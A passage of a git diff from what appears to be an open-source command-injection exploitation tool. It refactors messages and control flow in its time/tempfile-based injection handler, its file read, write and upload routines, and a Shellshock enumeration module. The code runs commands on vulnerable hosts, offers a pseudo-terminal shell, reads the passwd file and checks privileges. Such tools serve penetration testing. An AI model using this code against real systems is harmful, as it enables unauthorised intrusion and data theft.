def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Fetching the content of the file '"
+ info_msg = "Fetching content of the file: '"
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
@@ -59,14 +59,12 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "Fetched content of the file '"
- info_msg += file_to_read + "'."
- print(settings.print_bold_info_msg(info_msg))
- print(settings.print_sub_content(shell))
+ _ = "Fetched file content"
+ print(settings.print_retrieved_data(_, shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = "Extracted content of the file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
+ info_msg += file_to_read + "' : " + shell + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -147,7 +145,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
shell = "".join(str(p) for p in shell)
# Check if file exists
cmd = "echo $(ls " + dest_to_write + ")"
- print(settings.SINGLE_WHITESPACE)
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
try:
@@ -160,7 +159,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
- sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'."
print(settings.print_warning_msg(warn_msg))
@@ -169,7 +167,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
"""
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
- # Not yet implemented
+ check_option = "--file-upload"
+ checks.unavailable_option(check_option)
pass
else:
file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
@@ -208,7 +207,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
- print(settings.SINGLE_WHITESPACE)
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
try:
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 5527993e63..c3a67f2012 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -50,8 +50,8 @@
"""
def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'.\n"
- sys.stdout.write(settings.print_debug_msg(debug_msg))
+ debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'"
+ print(settings.print_debug_msg(debug_msg))
if settings.TARGET_OS == "win":
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
@@ -157,12 +157,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
+ if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
- print(settings.print_payload(payload_msg))
- elif settings.VERBOSITY_LEVEL >= 2:
- debug_msg = "Generating payload for the injection."
- print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
# Cookie header injection
@@ -320,17 +316,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
- except KeyboardInterrupt:
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
- if 'cmd' in locals():
- # Delete previous shell (text) files (output) from temp.
- delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- raise
-
- except SystemExit:
+ except (KeyboardInterrupt, SystemExit):
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
+ print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
@@ -365,6 +354,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
else:
percent = ".. (" + str(float_percent) + "%)"
break
+
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
@@ -436,11 +426,13 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
checks.total_of_requests()
# Print the findings to terminal.
- info_msg = "The"
+ finding = ""
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
- info_msg += " " + http_request_method
- info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
- info_msg += found_vuln_parameter + " seems injectable via "
+ finding += http_request_method
+ finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter
+
+ # Print the findings to terminal.
+ info_msg = finding + " appears to be injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
@@ -458,19 +450,19 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if settings.TARGET_OS == "win":
time.sleep(1)
- new_line = True
+ _ = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
+ _ = True
while True:
- message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
- enumerate_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and enumerate again? [y/N] > "
+ enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif enumerate_again in settings.CHOICE_NO:
- new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
@@ -482,22 +474,23 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
pass
else:
if menu.enumeration_options():
+ _ = True
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+
+ if settings.FILE_ACCESS_DONE == False and _ == False:
+ print(settings.SINGLE_WHITESPACE)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
- if settings.ENUMERATION_DONE == True and new_line:
- print(settings.SINGLE_WHITESPACE)
while True:
- message = "Do you want to ignore stored session and access files again? [Y/n] > "
- file_access_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and access files again? [y/N] > "
+ file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
- new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
@@ -508,9 +501,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
print(settings.print_error_msg(err_msg))
pass
else:
- if not new_line:
- print(settings.SINGLE_WHITESPACE)
- tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ if menu.file_access_options():
+ tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
@@ -518,26 +510,22 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
if len(output) > 1:
- #tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
- # Delete previous shell (text) files (output) from temp.
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
-
+
+ # Pseudo-Terminal shell
try:
- # Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
- message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
+ message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
- print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
+ print(settings.OS_SHELL_TITLE)
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
@@ -557,21 +545,22 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
break
if go_back and go_back_again:
return True
- if menu.options.ignore_session or \
- session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
- # The main command injection exploitation.
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- # Export injection result
- tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
- if not menu.options.ignore_session :
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ if menu.options.ignore_session or \
+ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
+ # The main command injection exploitation.
+ check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ # Export injection result
+ tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
+ if not menu.options.ignore_session :
+ session_handler.store_cmd(url, cmd, output, vuln_parameter)
+ else:
+ output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_output(output))
+ print(settings.SINGLE_WHITESPACE)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
- print("\n" + settings.print_output(output) + "\n")
- # Update logs with executed cmds and execution results.
- logs.executed_command(filename, cmd, output)
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
@@ -592,17 +581,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
print(settings.print_error_msg(err_msg))
pass
- except KeyboardInterrupt:
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
+ except (KeyboardInterrupt, SystemExit):
# Delete previous shell (text) files (output) from temp.
+ print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
-
- except SystemExit:
- # Delete previous shell (text) files (output) from temp.
- delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- raise
except EOFError:
if not settings.IS_TTY:
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 39454a076a..1367d0678a 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -189,10 +189,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
found_chars = False
info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')."
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- if settings.VERBOSITY_LEVEL >= 2:
- print(settings.SINGLE_WHITESPACE)
+ print(settings.print_info_msg(info_msg))
for output_length in range(int(minlen), int(maxlen)):
# Execute shell commands on vulnerable host.
if alter_shell :
@@ -211,13 +208,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
+ if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write("\n" + settings.print_payload(payload_msg))
- elif settings.VERBOSITY_LEVEL >= 2:
- debug_msg = "Generating payload for the injection."
- print(settings.print_debug_msg(debug_msg))
- print(settings.print_payload(payload))
+ print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
@@ -249,13 +242,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if injection_check == True:
if output_length > 1:
- if settings.VERBOSITY_LEVEL != 0:
- pass
- else:
- sys.stdout.write(settings.SUCCESS_STATUS + "\n")
- sys.stdout.flush()
- if settings.VERBOSITY_LEVEL == 1:
- print(settings.SINGLE_WHITESPACE)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Retrieved the length of execution output: " + str(output_length)
print(settings.print_bold_debug_msg(debug_msg))
@@ -279,8 +265,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')."
if settings.VERBOSITY_LEVEL == 0 :
info_msg += ".. (" + str(percent) + ")"
- elif settings.VERBOSITY_LEVEL == 1 :
- info_msg += ""
else:
info_msg += "\n"
if output_length > 1:
@@ -305,13 +289,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
+ if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write("\n" + settings.print_payload(payload_msg))
- elif settings.VERBOSITY_LEVEL >= 2:
- debug_msg = "Generating payload for the injection."
- print(settings.print_debug_msg(debug_msg))
- print(settings.print_payload(payload))
+ print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
@@ -362,19 +342,15 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
+ # Check for empty output.
+ if output == (len(output) * " "):
+ output = ""
+
else:
check_start = 0
- if settings.VERBOSITY_LEVEL == 0:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
- else:
- pass
-
check_how_long = 0
output = ""
- if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
- print(settings.SINGLE_WHITESPACE)
return check_how_long, output
"""
@@ -390,12 +366,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"
found_chars = False
- debug_msg = "Checking the reliability of the used payload "
- debug_msg += "in case of a false positive result. "
- # Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL != 0:
- sys.stdout.write(settings.print_debug_msg(debug_msg))
- sys.stdout.flush()
+ checks.check_for_false_positive_result()
# Varying the sleep time.
timesec = timesec + random.randint(1, 5)
@@ -419,16 +390,10 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
+ if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write("\n" + settings.print_payload(payload_msg))
- # Check if defined "--verbose" option.
- elif settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Generating payload for testing the reliability of used payload."
- print(settings.print_debug_msg(debug_msg))
- payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write(settings.print_payload(payload_msg) + "\n")
-
+ print(settings.print_payload(payload_msg))
+
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
@@ -489,15 +454,9 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
- payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write("\n" + settings.print_payload(payload_msg))
- # Check if defined "--verbose" option.
- elif settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Generating payload for the injection."
- print(settings.print_debug_msg(debug_msg))
+ if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
- sys.stdout.write(settings.print_payload(payload_msg) + "\n")
+ print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
@@ -535,8 +494,6 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
- if settings.VERBOSITY_LEVEL == 1:
- print(settings.SINGLE_WHITESPACE)
return how_long, output
else:
if settings.VERBOSITY_LEVEL < 2:
@@ -549,18 +506,15 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
"""
def export_injection_results(cmd, separator, output, check_how_long):
if output != "" and check_how_long != 0 :
+ print(settings.SINGLE_WHITESPACE)
if settings.VERBOSITY_LEVEL == 0:
- print("\n")
- elif settings.VERBOSITY_LEVEL == 1:
- print(settings.SINGLE_WHITESPACE)
+ print(settings.SINGLE_WHITESPACE)
print(settings.print_output(output))
- info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long))
- sys.stdout.write("\n" + settings.print_info_msg(info_msg))
- if not menu.options.os_cmd:
- print(settings.SINGLE_WHITESPACE)
+ info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "."
+ sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n")
else:
- err_msg = "The '" + cmd + "' command, does not return any output."
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
- sys.stdout.write("\r" + settings.print_info_msg(err_msg) + "\n")
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
+ sys.stdout.write("\r" + settings.print_error_msg(err_msg) + "\n")
# eof
\ No newline at end of file
diff --git a/src/core/main.py b/src/core/main.py
index 6765d681cf..cf38c43d40 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -64,7 +64,6 @@
Check for custom injection marker (*)
"""
def check_custom_injection_marker(url):
-
parameter = ""
if url and settings.WILDCARD_CHAR in url:
option = "'-u'"
@@ -169,6 +168,7 @@ def user_agent_header():
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP User-Agent header."
print(settings.print_debug_msg(debug_msg))
+
"""
Examine the request
"""
@@ -940,12 +940,10 @@ def main(filename, url):
checks.user_aborted(filename, url)
except NameError:
abort_msg = "User quit (Ctrl-C was pressed)."
- print(settings.SINGLE_WHITESPACE)
print(settings.print_abort_msg(abort_msg))
raise SystemExit()
except SystemExit:
- print(settings.SINGLE_WHITESPACE)
raise SystemExit()
except EOFError:
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 4338b2b313..7f7b8d5b21 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -83,15 +83,17 @@ def enumeration(url, cve, check_header, filename):
# Hostname enumeration
#-------------------------------
if menu.options.hostname:
+ info_msg = "Fetching hostname."
+ print(settings.print_info_msg(info_msg))
cmd = settings.HOSTNAME
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
- info_msg = "The hostname is " + str(shell) + "."
+ info_msg = "Hostname: " + str(shell) + "."
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The hostname is " + str(shell) + ".\n"
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -99,10 +101,53 @@ def enumeration(url, cve, check_header, filename):
print(settings.print_warning_msg(warn_msg))
settings.ENUMERATION_DONE = True
+ #-------------------------------
+ # The current user enumeration
+ #-------------------------------
+ if menu.options.current_user:
+ info_msg = "Fetching current user."
+ print(settings.print_info_msg(info_msg))
+ cmd = settings.CURRENT_USER
+ cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename)
+ if cu_account:
+ info_msg = "Current user: " + str(cu_account) + "."
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = "Current user: " + str(cu_account) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+ else:
+ warn_msg = "Heuristics have failed to fetch the current user."
+ print(settings.print_warning_msg(warn_msg))
+ settings.ENUMERATION_DONE = True
+
+ if menu.options.is_root:
+ info_msg = "Testing if current user has excessive privileges."
+ print(settings.print_info_msg(info_msg))
+ cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT)
+ cmd = ''.join(cmd).replace("(","").replace(")","")
+ shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
+ _ = "True"
+ if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
+ (settings.TARGET_OS != "win" and shell != "0"):
+ _ = "False"
+
+ info_msg = "Current user has excessive privileges: " + str(_)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+
#-------------------------------
# Retrieve system information
#-------------------------------
if menu.options.sys_info:
+ info_msg = "Fetching the underlying operating system information."
+ print(settings.print_info_msg(info_msg))
cmd = settings.RECOGNISE_OS
target_os, payload = cmd_exec(url, cmd, cve, check_header, filename)
if target_os:
@@ -110,79 +155,29 @@ def enumeration(url, cve, check_header, filename):
cmd = settings.DISTRO_INFO
distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename)
if len(distro_name) != 0:
- target_os = target_os + " (" + distro_name + ")"
+ target_os = target_os + " " + distro_name
cmd = settings.RECOGNISE_HP
target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename)
- if target_arch:
- info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
- info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) + "."
+ if target_os and target_arch:
+ info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The underlying operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
- info_msg = "The underlying operating system is " + target_os + "."
+ info_msg = "Operating system: " + target_os + "."
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The underlying operating system is " + str(target_os) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to retrieve the system information."
- print(settings.print_warning_msg(warn_msg))
- settings.ENUMERATION_DONE = True
-
- #-------------------------------
- # The current user enumeration
- #-------------------------------
- if menu.options.current_user:
- cmd = settings.CURRENT_USER
- cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename)
- if cu_account:
- if menu.options.is_root:
- cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT)
- cmd = ''.join(cmd).replace("(","").replace(")","")
- shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + str(cu_account)
+ info_msg = "Operating system: " + str(target_os) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
- if shell:
- if shell != "0":
- print(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is not privileged.\n")
- output_file.close()
- else:
- print(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is privileged.\n")
- output_file.close()
- else:
- info_msg = "The current user is " + str(cu_account) + "."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + str(cu_account) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
else:
- warn_msg = "Heuristics have failed to identify the current user."
+ warn_msg = "Heuristics have failed to fetch underlying operating system information."
print(settings.print_warning_msg(warn_msg))
settings.ENUMERATION_DONE = True
@@ -192,10 +187,9 @@ def enumeration(url, cve, check_header, filename):
if menu.options.users:
cmd = settings.SYS_USERS
sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename)
- info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
info_msg += "' in order to enumerate users entries. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
+ print(settings.print_info_msg(info_msg))
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
@@ -205,11 +199,9 @@ def enumeration(url, cve, check_header, filename):
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
- warn_msg = "It seems that '" + settings.PASSWD_FILE
- warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
+ warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
+ warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
+ print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
@@ -221,11 +213,9 @@ def enumeration(url, cve, check_header, filename):
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
- sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
info_msg += " in '" + settings.PASSWD_FILE + "'."
- print(settings.SINGLE_WHITESPACE)
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
@@ -266,41 +256,36 @@ def enumeration(url, cve, check_header, filename):
else :
is_privileged = ""
is_privileged_nh = ""
